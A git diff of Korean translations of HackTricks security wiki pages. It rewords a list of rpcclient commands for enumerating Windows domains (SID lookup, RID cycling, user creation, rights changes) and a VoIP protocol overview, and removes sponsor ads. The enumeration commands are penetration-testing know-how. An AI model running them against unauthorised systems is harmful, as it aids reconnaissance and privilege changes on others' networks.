* **이름으로 SIDs**: `lookupnames <username>`.
|
||||||
* **더 많은 SID**: `lsaenumsid`.
|
* **더 많은 SIDs**: `lsaenumsid`.
|
||||||
* **더 많은 SID 확인을 위한 RID 순환**: `lookupsids <sid>`.
|
* **더 많은 SIDs를 확인하기 위한 RID 순환**: `lookupsids <sid>`.
|
||||||
|
|
||||||
#### **추가 명령어**
|
#### **추가 명령어**
|
||||||
|
|
||||||
|
@ -96,19 +88,13 @@ done
|
||||||
| createdomuser | 도메인 사용자 생성 | |
|
| createdomuser | 도메인 사용자 생성 | |
|
||||||
| deletedomuser | 도메인 사용자 삭제 | |
|
| deletedomuser | 도메인 사용자 삭제 | |
|
||||||
| lookupnames | LSARPC | 사용자 이름을 SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) 값으로 조회 |
|
| lookupnames | LSARPC | 사용자 이름을 SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) 값으로 조회 |
|
||||||
| lookupsids | SID를 사용자 이름으로 조회 (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) 순환) | |
|
| lookupsids | 사용자 이름에 대한 SIDs 조회 (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) 순환) | |
|
||||||
| lsaaddacctrights | 사용자 계정에 권한 추가 | |
|
| lsaaddacctrights | 사용자 계정에 권한 추가 | |
|
||||||
| lsaremoveacctrights | 사용자 계정에서 권한 제거 | |
|
| lsaremoveacctrights | 사용자 계정에서 권한 제거 | |
|
||||||
| dsroledominfo | LSARPC-DS | 기본 도메인 정보 가져오기 |
|
| dsroledominfo | LSARPC-DS | 기본 도메인 정보 가져오기 |
|
||||||
| dsenumdomtrusts | AD 포레스트 내의 신뢰된 도메인 열거 | |
|
| dsenumdomtrusts | AD 포레스트 내의 신뢰된 도메인 열거 | |
|
||||||
|
|
||||||
도구 _**samrdump**_ **및** _**rpcdump**_ 작동 방식을 **더 잘 이해하기 위해** [**Pentesting MSRPC**](../135-pentesting-msrpc.md)를 읽어야 합니다.
|
도구 _**samrdump**_ **와** _**rpcdump**_ 의 작동 방식을 **더 잘 이해하기 위해** [**Pentesting MSRPC**](../135-pentesting-msrpc.md)를 읽어야 합니다.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -119,7 +105,7 @@ GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" d
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,25 +16,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **정보 유출**로 인해 **위험에 처했는지** 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 신호 프로토콜
|
## 신호 프로토콜
|
||||||
|
|
||||||
### SIP (세션 시작 프로토콜)
|
### SIP (세션 시작 프로토콜)
|
||||||
|
|
||||||
이것은 산업 표준으로, 더 많은 정보는 다음을 확인하세요:
|
이것은 산업 표준입니다. 자세한 내용은 다음을 확인하세요:
|
||||||
|
|
||||||
{% content-ref url="sip-session-initiation-protocol.md" %}
|
{% content-ref url="sip-session-initiation-protocol.md" %}
|
||||||
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
|
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
|
||||||
|
@ -44,11 +30,11 @@ WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 탈
|
||||||
|
|
||||||
MGCP (미디어 게이트웨이 제어 프로토콜)는 RFC 3435에 설명된 **신호** 및 **통화** **제어 프로토콜**입니다. 중앙 집중식 아키텍처에서 작동하며, 세 가지 주요 구성 요소로 구성됩니다:
|
MGCP (미디어 게이트웨이 제어 프로토콜)는 RFC 3435에 설명된 **신호** 및 **통화** **제어 프로토콜**입니다. 중앙 집중식 아키텍처에서 작동하며, 세 가지 주요 구성 요소로 구성됩니다:
|
||||||
|
|
||||||
1. **콜 에이전트 또는 미디어 게이트웨이 컨트롤러 (MGC)**: MGCP 아키텍처의 마스터 게이트웨이는 **미디어 게이트웨이를 관리하고 제어**하는 역할을 합니다. 통화 설정, 수정 및 종료 프로세스를 처리합니다. MGC는 MGCP 프로토콜을 사용하여 미디어 게이트웨이와 통신합니다.
|
1. **콜 에이전트 또는 미디어 게이트웨이 컨트롤러 (MGC)**: MGCP 아키텍처의 마스터 게이트웨이는 **미디어 게이트웨이를 관리하고 제어**하는 책임이 있습니다. 통화 설정, 수정 및 종료 프로세스를 처리합니다. MGC는 MGCP 프로토콜을 사용하여 미디어 게이트웨이와 통신합니다.
|
||||||
2. **미디어 게이트웨이 (MG) 또는 슬레이브 게이트웨이**: 이러한 장치는 **전통적인 회로 교환 전화와 패킷 교환 IP 네트워크** 간의 디지털 미디어 스트림을 **변환**합니다. MGC에 의해 관리되며, MGC로부터 받은 명령을 실행합니다. 미디어 게이트웨이는 트랜스코딩, 패킷화 및 에코 취소와 같은 기능을 포함할 수 있습니다.
|
2. **미디어 게이트웨이 (MG) 또는 슬레이브 게이트웨이**: 이러한 장치는 **전통적인 회로 교환 전화와 패킷 교환 IP 네트워크**와 같은 서로 다른 네트워크 간에 디지털 미디어 스트림을 **변환**합니다. MGC에 의해 관리되며, MGC로부터 받은 명령을 실행합니다. 미디어 게이트웨이는 트랜스코딩, 패킷화 및 에코 취소와 같은 기능을 포함할 수 있습니다.
|
||||||
3. **신호 게이트웨이 (SG)**: 이러한 게이트웨이는 **전통적인 전화 시스템 (예: SS7)**과 IP 기반 네트워크 (예: SIP 또는 H.323) 간의 신호 메시지를 **변환**하는 역할을 합니다. 신호 게이트웨이는 상호 운용성에 필수적이며, 서로 다른 네트워크 간에 통화 제어 정보가 적절하게 전달되도록 보장합니다.
|
3. **신호 게이트웨이 (SG)**: 이러한 게이트웨이는 **서로 다른 네트워크 간의 신호 메시지를 변환**하는 책임이 있으며, 전통적인 전화 시스템(예: SS7)과 IP 기반 네트워크(예: SIP 또는 H.323) 간의 원활한 통신을 가능하게 합니다. 신호 게이트웨이는 상호 운용성에 중요하며, 서로 다른 네트워크 간에 통화 제어 정보가 적절하게 전달되도록 보장합니다.
|
||||||
|
|
||||||
요약하자면, MGCP는 통화 에이전트에서 통화 제어 논리를 중앙 집중화하여 미디어 및 신호 게이트웨이의 관리를 단순화하고, 통신 네트워크에서 더 나은 확장성, 신뢰성 및 효율성을 제공합니다.
|
요약하자면, MGCP는 통화 제어 논리를 콜 에이전트에 중앙 집중화하여 미디어 및 신호 게이트웨이의 관리를 단순화하고, 통신 네트워크에서 더 나은 확장성, 신뢰성 및 효율성을 제공합니다.
|
||||||
|
|
||||||
### SCCP (스키니 클라이언트 제어 프로토콜)
|
### SCCP (스키니 클라이언트 제어 프로토콜)
|
||||||
|
|
||||||
|
@ -59,50 +45,50 @@ SCCP는 통화 제어 서버와 엔드포인트 장치 간의 통신을 단순
|
||||||
SCCP 기반 시스템의 주요 구성 요소는 다음과 같습니다:
|
SCCP 기반 시스템의 주요 구성 요소는 다음과 같습니다:
|
||||||
|
|
||||||
1. **콜 제어 서버**: 일반적으로 Cisco Unified Communications Manager인 이 서버는 통화 설정, 수정 및 종료 프로세스와 통화 포워딩, 통화 전환 및 통화 보류와 같은 기타 전화 기능을 관리합니다.
|
1. **콜 제어 서버**: 일반적으로 Cisco Unified Communications Manager인 이 서버는 통화 설정, 수정 및 종료 프로세스와 통화 포워딩, 통화 전환 및 통화 보류와 같은 기타 전화 기능을 관리합니다.
|
||||||
2. **SCCP 엔드포인트**: IP 전화, 비디오 회의 장치 또는 SCCP를 사용하여 콜 제어 서버와 통신하는 기타 Cisco 음성 및 비디오 엔드포인트와 같은 장치입니다. 이들은 서버에 등록하고 신호 메시지를 보내고 받으며, 통화 처리를 위한 콜 제어 서버의 지침을 따릅니다.
|
2. **SCCP 엔드포인트**: IP 전화, 비디오 회의 장치 또는 SCCP를 사용하여 콜 제어 서버와 통신하는 기타 Cisco 음성 및 비디오 엔드포인트와 같은 장치입니다. 이들은 서버에 등록하고, 신호 메시지를 보내고 받고, 통화 처리를 위한 콜 제어 서버의 지침을 따릅니다.
|
||||||
3. **게이트웨이**: 음성 게이트웨이 또는 미디어 게이트웨이와 같은 이러한 장치는 전통적인 회로 교환 전화와 패킷 교환 IP 네트워크 간의 미디어 스트림을 변환하는 역할을 합니다. 추가 기능으로 트랜스코딩 또는 에코 취소를 포함할 수 있습니다.
|
3. **게이트웨이**: 이러한 장치, 예를 들어 음성 게이트웨이 또는 미디어 게이트웨이는 전통적인 회로 교환 전화와 패킷 교환 IP 네트워크 간에 미디어 스트림을 변환하는 책임이 있습니다. 추가 기능으로 트랜스코딩 또는 에코 취소를 포함할 수 있습니다.
|
||||||
|
|
||||||
SCCP는 Cisco 통화 제어 서버와 엔드포인트 장치 간의 간단하고 효율적인 통신 방법을 제공합니다. 그러나 **SCCP는 독점 프로토콜**이므로 비-Cisco 시스템과의 상호 운용성을 제한할 수 있습니다. 이러한 경우 SIP와 같은 다른 표준 VoIP 프로토콜이 더 적합할 수 있습니다.
|
SCCP는 Cisco 통화 제어 서버와 엔드포인트 장치 간의 간단하고 효율적인 통신 방법을 제공합니다. 그러나 **SCCP는 독점 프로토콜**이므로 비-Cisco 시스템과의 상호 운용성을 제한할 수 있습니다. 이러한 경우 SIP와 같은 다른 표준 VoIP 프로토콜이 더 적합할 수 있습니다.
|
||||||
|
|
||||||
### H.323
|
### H.323
|
||||||
|
|
||||||
H.323은 **음성, 비디오 및 데이터 회의**를 포함한 멀티미디어 통신을 위한 **프로토콜 모음**으로, IP 기반 네트워크와 같은 패킷 교환 네트워크를 통해 작동합니다. **국제 전기 통신 연합** (ITU-T)에 의해 개발되었으며, 멀티미디어 통신 세션을 관리하기 위한 포괄적인 프레임워크를 제공합니다.
|
H.323은 패킷 교환 네트워크, 예를 들어 IP 기반 네트워크를 통해 음성, 비디오 및 데이터 회의를 포함한 **멀티미디어 통신을 위한 프로토콜 모음**입니다. **국제 전기 통신 연합** (ITU-T)에 의해 개발되었으며, 멀티미디어 통신 세션을 관리하기 위한 포괄적인 프레임워크를 제공합니다.
|
||||||
|
|
||||||
H.323 모음의 주요 구성 요소는 다음과 같습니다:
|
H.323 모음의 주요 구성 요소는 다음과 같습니다:
|
||||||
|
|
||||||
1. **단말**: H.323을 지원하고 멀티미디어 통신 세션에 참여할 수 있는 IP 전화, 비디오 회의 시스템 또는 소프트웨어 애플리케이션과 같은 엔드포인트 장치입니다.
|
1. **단말**: H.323을 지원하고 멀티미디어 통신 세션에 참여할 수 있는 IP 전화, 비디오 회의 시스템 또는 소프트웨어 애플리케이션과 같은 엔드포인트 장치입니다.
|
||||||
2. **게이트웨이**: 이러한 장치는 전통적인 회로 교환 전화와 패킷 교환 IP 네트워크 간의 미디어 스트림을 변환하여 H.323과 다른 통신 시스템 간의 상호 운용성을 가능하게 합니다. 추가 기능으로 트랜스코딩 또는 에코 취소를 포함할 수 있습니다.
|
2. **게이트웨이**: 이러한 장치는 전통적인 회로 교환 전화와 패킷 교환 IP 네트워크 간에 미디어 스트림을 변환하여 H.323과 다른 통신 시스템 간의 상호 운용성을 가능하게 합니다. 추가 기능으로 트랜스코딩 또는 에코 취소를 포함할 수 있습니다.
|
||||||
3. **게이트키퍼**: H.323 네트워크에서 통화 제어 및 관리 서비스를 제공하는 선택적 구성 요소입니다. 주소 변환, 대역폭 관리 및 수용 제어와 같은 기능을 수행하여 네트워크 자원을 관리하고 최적화하는 데 도움을 줍니다.
|
3. **게이트키퍼**: H.323 네트워크에서 통화 제어 및 관리 서비스를 제공하는 선택적 구성 요소입니다. 주소 변환, 대역폭 관리 및 수용 제어와 같은 기능을 수행하여 네트워크 자원을 관리하고 최적화하는 데 도움을 줍니다.
|
||||||
4. **다중 제어 장치 (MCU)**: 이러한 장치는 여러 엔드포인트의 미디어 스트림을 관리하고 혼합하여 다중 회의를 촉진합니다. MCU는 비디오 레이아웃 제어, 음성 활성화 전환 및 지속적인 존재와 같은 기능을 가능하게 하여 여러 참가자가 있는 대규모 회의를 주최할 수 있게 합니다.
|
4. **다중 제어 장치 (MCU)**: 이러한 장치는 여러 엔드포인트의 미디어 스트림을 관리하고 혼합하여 다중 회의를 촉진합니다. MCU는 비디오 레이아웃 제어, 음성 활성화 전환 및 지속적인 존재와 같은 기능을 가능하게 하여 여러 참가자가 있는 대규모 회의를 개최할 수 있게 합니다.
|
||||||
|
|
||||||
H.323은 다양한 오디오 및 비디오 코덱과 통화 포워딩, 통화 전환, 통화 보류 및 통화 대기와 같은 기타 보조 서비스를 지원합니다. VoIP 초기 단계에서 널리 채택되었지만, H.323은 점차 **세션 시작 프로토콜 (SIP)**과 같은 더 현대적이고 유연한 프로토콜로 대체되고 있습니다. 그러나 H.323은 여전히 많은 레거시 시스템에서 사용되고 있으며 다양한 장비 공급업체에 의해 지원되고 있습니다.
|
H.323은 다양한 오디오 및 비디오 코덱과 통화 포워딩, 통화 전환, 통화 보류 및 통화 대기와 같은 기타 보조 서비스를 지원합니다. VoIP 초기 단계에서 널리 채택되었지만, H.323은 점차 **세션 시작 프로토콜 (SIP)**과 같은 더 현대적이고 유연한 프로토콜로 대체되고 있습니다. 그러나 H.323은 많은 레거시 시스템에서 여전히 사용되고 있으며 다양한 장비 공급업체에 의해 지원되고 있습니다.
|
||||||
|
|
||||||
### IAX (인터 아스틱스 교환)
|
### IAX (인터 아스틱스 교환)
|
||||||
|
|
||||||
IAX (인터-아스틱스 교환)는 주로 Asterisk PBX (사설 교환기) 서버와 기타 VoIP 장치 간의 통신에 사용되는 **신호 및 통화 제어 프로토콜**입니다. Asterisk 오픈 소스 PBX 소프트웨어의 제작자인 Mark Spencer에 의해 개발되었으며, SIP 및 H.323과 같은 다른 VoIP 프로토콜의 대안으로 만들어졌습니다.
|
IAX (인터-아스틱스 교환)는 주로 Asterisk PBX (사설 교환) 서버와 기타 VoIP 장치 간의 통신에 사용되는 **신호 및 통화 제어 프로토콜**입니다. Asterisk 오픈 소스 PBX 소프트웨어의 제작자인 Mark Spencer에 의해 SIP 및 H.323과 같은 다른 VoIP 프로토콜의 대안으로 개발되었습니다.
|
||||||
|
|
||||||
IAX는 **단순성, 효율성 및 구현 용이성**으로 잘 알려져 있습니다. IAX의 주요 기능은 다음과 같습니다:
|
IAX는 **단순성, 효율성 및 구현 용이성**으로 알려져 있습니다. IAX의 주요 기능은 다음과 같습니다:
|
||||||
|
|
||||||
1. **단일 UDP 포트**: IAX는 신호 및 미디어 트래픽 모두에 대해 단일 UDP 포트 (4569)를 사용하여 방화벽 및 NAT 통과를 단순화하고 다양한 네트워크 환경에서 배포를 용이하게 합니다.
|
1. **단일 UDP 포트**: IAX는 신호 및 미디어 트래픽 모두에 대해 단일 UDP 포트(4569)를 사용하여 방화벽 및 NAT 통과를 단순화하고 다양한 네트워크 환경에서 배포를 용이하게 합니다.
|
||||||
2. **이진 프로토콜**: SIP와 같은 텍스트 기반 프로토콜과 달리 IAX는 이진 프로토콜로, 대역폭 소비를 줄이고 신호 및 미디어 데이터를 전송하는 데 더 효율적입니다.
|
2. **이진 프로토콜**: SIP와 같은 텍스트 기반 프로토콜과 달리 IAX는 이진 프로토콜로, 대역폭 소비를 줄이고 신호 및 미디어 데이터를 전송하는 데 더 효율적입니다.
|
||||||
3. **트렁킹**: IAX는 여러 통화를 단일 네트워크 연결로 결합할 수 있는 트렁킹을 지원하여 오버헤드를 줄이고 대역폭 활용을 개선합니다.
|
3. **트렁킹**: IAX는 여러 통화를 단일 네트워크 연결로 결합할 수 있는 트렁킹을 지원하여 오버헤드를 줄이고 대역폭 활용을 개선합니다.
|
||||||
4. **네이티브 암호화**: IAX는 RSA와 같은 방법을 사용하여 키 교환을 수행하고 AES를 사용하여 미디어 암호화를 제공하는 암호화에 대한 기본 지원을 포함합니다.
|
4. **네이티브 암호화**: IAX는 RSA와 같은 방법을 사용하여 키 교환을 수행하고 AES를 사용하여 미디어 암호화를 제공하는 암호화에 대한 기본 지원을 제공합니다.
|
||||||
5. **피어 투 피어 통신**: IAX는 중앙 서버 없이 엔드포인트 간의 직접 통신에 사용할 수 있어 더 간단하고 효율적인 통화 라우팅을 가능하게 합니다.
|
5. **피어 투 피어 통신**: IAX는 중앙 서버 없이 엔드포인트 간의 직접 통신에 사용할 수 있어 더 간단하고 효율적인 통화 라우팅을 가능하게 합니다.
|
||||||
|
|
||||||
이점에도 불구하고 IAX는 Asterisk 생태계에 주로 초점을 맞추고 있으며, SIP와 같은 더 확립된 프로토콜에 비해 널리 채택되지 않는 한계가 있습니다. 따라서 IAX는 비-Asterisk 시스템이나 장치와의 상호 운용성에 최선의 선택이 아닐 수 있습니다. 그러나 Asterisk 환경 내에서 작업하는 경우 IAX는 VoIP 통신을 위한 강력하고 효율적인 솔루션을 제공합니다.
|
이점에도 불구하고 IAX는 Asterisk 생태계에 주로 초점을 맞추고 있으며 SIP와 같은 더 확립된 프로토콜에 비해 널리 채택되지 않았습니다. 따라서 IAX는 비-Asterisk 시스템이나 장치와의 상호 운용성에 최선의 선택이 아닐 수 있습니다. 그러나 Asterisk 환경 내에서 작업하는 경우 IAX는 VoIP 통신을 위한 강력하고 효율적인 솔루션을 제공합니다.
|
||||||
|
|
||||||
## 전송 및 전송 프로토콜
|
## 전송 및 전송 프로토콜
|
||||||
|
|
||||||
### SDP (세션 설명 프로토콜)
|
### SDP (세션 설명 프로토콜)
|
||||||
|
|
||||||
SDP (세션 설명 프로토콜)는 IP 네트워크를 통해 음성, 비디오 또는 데이터 회의를 포함한 멀티미디어 세션의 특성을 설명하는 데 사용되는 **텍스트 기반 형식**입니다. **인터넷 엔지니어링 태스크 포스 (IETF)**에 의해 개발되었으며, **RFC 4566**에 정의되어 있습니다. SDP는 실제 미디어 전송이나 세션 설정을 처리하지 않지만, **SIP (세션 시작 프로토콜)**과 같은 다른 신호 프로토콜과 함께 사용되어 미디어 스트림 및 그 속성에 대한 정보를 협상하고 교환하는 데 사용됩니다.
|
SDP (세션 설명 프로토콜)는 IP 네트워크를 통한 음성, 비디오 또는 데이터 회의와 같은 멀티미디어 세션의 특성을 설명하는 데 사용되는 **텍스트 기반 형식**입니다. **인터넷 엔지니어링 태스크 포스 (IETF)**에 의해 개발되었으며 **RFC 4566**에 정의되어 있습니다. SDP는 실제 미디어 전송이나 세션 설정을 처리하지 않지만, **SIP (세션 시작 프로토콜)**과 같은 다른 신호 프로토콜과 함께 사용되어 미디어 스트림 및 그 속성에 대한 정보를 협상하고 교환하는 데 사용됩니다.
|
||||||
|
|
||||||
SDP의 주요 요소는 다음과 같습니다:
|
SDP의 주요 요소는 다음과 같습니다:
|
||||||
|
|
||||||
1. **세션 정보**: SDP는 세션 이름, 세션 설명, 시작 시간 및 종료 시간을 포함하여 멀티미디어 세션의 세부 정보를 설명합니다.
|
1. **세션 정보**: SDP는 세션 이름, 세션 설명, 시작 시간 및 종료 시간을 포함하여 멀티미디어 세션의 세부 정보를 설명합니다.
|
||||||
2. **미디어 스트림**: SDP는 미디어 유형 (오디오, 비디오 또는 텍스트), 전송 프로토콜 (예: RTP 또는 SRTP) 및 미디어 형식 (예: 코덱 정보)과 같은 미디어 스트림의 특성을 정의합니다.
|
2. **미디어 스트림**: SDP는 미디어 유형(오디오, 비디오 또는 텍스트), 전송 프로토콜(예: RTP 또는 SRTP) 및 미디어 형식(예: 코덱 정보)과 같은 미디어 스트림의 특성을 정의합니다.
|
||||||
3. **연결 정보**: SDP는 미디어가 전송되거나 수신되어야 하는 네트워크 주소 (IP 주소) 및 포트 번호에 대한 정보를 제공합니다.
|
3. **연결 정보**: SDP는 미디어가 전송되거나 수신되어야 하는 네트워크 주소(IP 주소) 및 포트 번호에 대한 정보를 제공합니다.
|
||||||
4. **속성**: SDP는 세션 또는 미디어 스트림에 대한 추가 선택적 정보를 제공하기 위해 속성 사용을 지원합니다. 속성은 암호화 키, 대역폭 요구 사항 또는 미디어 제어 메커니즘과 같은 다양한 기능을 지정하는 데 사용될 수 있습니다.
|
4. **속성**: SDP는 세션 또는 미디어 스트림에 대한 추가적인 선택적 정보를 제공하기 위해 속성 사용을 지원합니다. 속성은 암호화 키, 대역폭 요구 사항 또는 미디어 제어 메커니즘과 같은 다양한 기능을 지정하는 데 사용될 수 있습니다.
|
||||||
|
|
||||||
SDP는 일반적으로 다음 프로세스에서 사용됩니다:
|
SDP는 일반적으로 다음 프로세스에서 사용됩니다:
|
||||||
|
|
||||||
|
@ -111,28 +97,17 @@ SDP는 일반적으로 다음 프로세스에서 사용됩니다:
|
||||||
3. 수신 당사자는 SDP 설명을 처리하고, 자신의 기능에 따라 제안된 세션을 수락, 거부 또는 수정할 수 있습니다.
|
3. 수신 당사자는 SDP 설명을 처리하고, 자신의 기능에 따라 제안된 세션을 수락, 거부 또는 수정할 수 있습니다.
|
||||||
4. 최종 SDP 설명은 신호 프로토콜 메시지의 일부로 시작 당사자에게 다시 전송되어 협상 프로세스를 완료합니다.
|
4. 최종 SDP 설명은 신호 프로토콜 메시지의 일부로 시작 당사자에게 다시 전송되어 협상 프로세스를 완료합니다.
|
||||||
|
|
||||||
SDP의 단순성과 유연성 덕분에 다양한 통신 시스템에서 멀티미디어 세션을 설명하는 데 널리 채택된 표준이 되었으며, IP 네트워크를 통한 실시간 멀티미디어 세션의 설정 및 관리에서 중요한 역할을 합니다.
|
SDP의 단순성과 유연성 덕분에 다양한 통신 시스템에서 멀티미디어 세션을 설명하는 데 널리 채택된 표준이 되었으며, IP 네트워크를 통한 실시간 멀티미디어 세션을 설정하고 관리하는 데 중요한 역할을 합니다.
|
||||||
|
|
||||||
### RTP / RTCP / SRTP / ZRTP
|
### RTP / RTCP / SRTP / ZRTP
|
||||||
|
|
||||||
1. **RTP (실시간 전송 프로토콜)**: RTP는 IP 네트워크를 통해 오디오 및 비디오 데이터 또는 기타 실시간 미디어를 전달하기 위해 설계된 네트워크 프로토콜입니다. **IETF**에 의해 개발되었으며 **RFC 3550**에 정의되어 있습니다. RTP는 SIP 및 H.323과 같은 신호 프로토콜과 함께 사용되어 멀티미디어 통신을 가능하게 합니다. RTP는 미디어 스트림의 **동기화**, **순서 지정** 및 **타임스탬프** 메커니즘을 제공하여 매끄럽고 적시의 미디어 재생을 보장합니다.
|
1. **RTP (실시간 전송 프로토콜)**: RTP는 IP 네트워크를 통해 오디오 및 비디오 데이터 또는 기타 실시간 미디어를 전달하기 위해 설계된 네트워크 프로토콜입니다. **IETF**에 의해 개발되었으며 **RFC 3550**에 정의되어 있습니다. RTP는 SIP 및 H.323과 같은 신호 프로토콜과 함께 사용되어 멀티미디어 통신을 가능하게 합니다. RTP는 미디어 스트림의 **동기화**, **순서 지정** 및 **타임스탬프** 메커니즘을 제공하여 매끄럽고 적시의 미디어 재생을 보장합니다.
|
||||||
2. **RTCP (실시간 전송 제어 프로토콜)**: RTCP는 RTP의 동반 프로토콜로, 서비스 품질 (QoS)을 모니터링하고 미디어 스트림 전송에 대한 피드백을 제공하는 데 사용됩니다. RTP와 동일한 **RFC 3550**에 정의되어 있으며, RTCP는 **RTP 세션의 참가자 간에 주기적으로 제어 패킷을 교환**합니다. 패킷 손실, 지터 및 왕복 시간과 같은 정보를 공유하여 네트워크 조건을 진단하고 적응하는 데 도움을 주어 전체 미디어 품질을 향상시킵니다.
|
2. **RTCP (실시간 전송 제어 프로토콜)**: RTCP는 RTP의 동반 프로토콜로, 서비스 품질(QoS)을 모니터링하고 미디어 스트림 전송에 대한 피드백을 제공합니다. RTP와 동일한 **RFC 3550**에 정의되어 있으며, RTCP는 **RTP 세션의 참가자 간에 주기적으로 제어 패킷을 교환**합니다. 패킷 손실, 지터 및 왕복 시간과 같은 정보를 공유하여 네트워크 조건을 진단하고 적응하는 데 도움을 주어 전체 미디어 품질을 개선합니다.
|
||||||
3. **SRTP (보안 실시간 전송 프로토콜)**: SRTP는 미디어 스트림에 대한 **암호화**, **메시지 인증** 및 **재전송 방지**를 제공하는 RTP의 확장입니다. **RFC 3711**에 정의되어 있으며, SRTP는 AES와 같은 암호화 알고리즘과 HMAC-SHA1을 메시지 인증에 사용합니다. SRTP는 종종 TLS를 통한 SIP와 같은 보안 신호 프로토콜과 함께 사용되어 멀티미디어 통신에서 종단 간 보안을 제공합니다.
|
3. **SRTP (보안 실시간 전송 프로토콜)**: SRTP는 미디어 스트림에 대한 **암호화**, **메시지 인증** 및 **재전송 방지**를 제공하는 RTP의 확장입니다. **RFC 3711**에 정의되어 있으며, SRTP는 AES와 같은 암호화 알고리즘과 HMAC-SHA1을 메시지 인증에 사용합니다. SRTP는 종종 TLS를 통한 SIP와 같은 보안 신호 프로토콜과 결합되어 멀티미디어 통신에서 종단 간 보안을 제공합니다.
|
||||||
4. **ZRTP (짐머만 실시간 전송 프로토콜)**: ZRTP는 RTP 미디어 스트림에 대한 **종단 간 암호화**를 제공하는 암호화 키 합의 프로토콜입니다. PGP의 제작자인 Phil Zimmermann에 의해 개발되었으며, **RFC 6189**에 설명되어 있습니다. ZRTP는 키 교환을 위해 신호 프로토콜에 의존하는 SRTP와 달리 신호 프로토콜과 독립적으로 작동하도록 설계되었습니다. **Diffie-Hellman 키 교환**을 사용하여 통신 당사자 간에 사전 신뢰나 공개 키 인프라 (PKI) 없이 공유 비밀을 설정합니다. ZRTP는 또한 중간자 공격으로부터 보호하기 위해 **짧은 인증 문자열 (SAS)**과 같은 기능을 포함합니다.
|
4. **ZRTP (짐머만 실시간 전송 프로토콜)**: ZRTP는 RTP 미디어 스트림에 대한 **종단 간 암호화**를 제공하는 암호화 키 합의 프로토콜입니다. PGP의 제작자인 Phil Zimmermann에 의해 개발되었으며 **RFC 6189**에 설명되어 있습니다. ZRTP는 키 교환을 위해 신호 프로토콜에 의존하는 SRTP와 달리 신호 프로토콜과 독립적으로 작동하도록 설계되었습니다. **Diffie-Hellman 키 교환**을 사용하여 통신 당사자 간에 사전 신뢰나 공개 키 인프라(PKI) 없이 공유 비밀을 설정합니다. ZRTP는 또한 중간자 공격으로부터 보호하기 위해 **짧은 인증 문자열(SAS)**과 같은 기능을 포함합니다.
|
||||||
|
|
||||||
이러한 프로토콜은 **IP 네트워크를 통한 실시간 멀티미디어 통신의 전달 및 보안**에서 필수적인 역할을 합니다. RTP와 RTCP는 실제 미디어 전송 및 품질 모니터링을 처리하는 반면, SRTP와 ZRTP는 전송된 미디어가 도청, 변조 및 재전송 공격으로부터 보호되도록 보장합니다.
|
이러한 프로토콜은 **IP 네트워크를 통한 실시간 멀티미디어 통신의 전달 및 보안**에서 필수적인 역할을 합니다. RTP와 RTCP는 실제 미디어 전송 및 품질 모니터링을 처리하고, SRTP와 ZRTP는 전송된 미디어가 도청, 변조 및 재전송 공격으로부터 보호되도록 보장합니다.
|
||||||
|
|
||||||
